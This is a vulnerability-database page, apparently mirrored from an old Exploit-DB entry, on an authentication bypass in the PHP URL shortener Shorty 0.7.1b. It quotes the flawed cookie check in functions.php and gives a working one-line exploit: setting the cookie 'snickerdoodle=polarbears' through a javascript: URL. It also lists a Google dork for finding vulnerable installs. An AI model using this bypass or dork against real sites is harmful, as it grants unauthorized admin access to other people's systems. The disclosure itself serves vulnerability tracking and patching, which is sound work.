Shorty 0.7.1b - (Authentication Bypass) Insecure Cookie Handling

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1058122 漏洞类型
发布时间 2009-08-12 更新时间 2009-08-12
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/9419
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Vulnerable Software
--------------------------------------------------------------------------------
Script: Shorty v0.7.1 Beta (maybe other versions)
URL:http://get-shorty.com/
Download:http://get-shorty.com/beta?force=download
Google dork: intitle:"Shorty (Beta)"

Bug
--------------------------------------------------------------------------------
[functions.php]

45: function authenticate(){
46:     $cookie = @$_COOKIE['snickerdoodle'];
47:     if($cookie == "polarbears"){
48:          //
49:      } else {
50:          exit("Not logged in.");
51:      }
52:  }
53:
54:  function verify(){
55:      if(@$_COOKIE['snickerdoodle']){
56:          $cookie = $_COOKIE['snickerdoodle'];
57:      } else {
58:          $cookie = '';
59:      }
60:      if($cookie == "polarbears"){
61:          return 1;
62:      } else {
63:          return 0;
64:      }
65:  }

[/functions.php]

Exploit
--------------------------------------------------------------------------------
Write in the URL: javascript:document.cookie="snickerdoodle=polarbears"; in
the admin login you want to bypass or create the cookie with you favorite
Firefox extension.

# milw0rm.com [2009-08-12]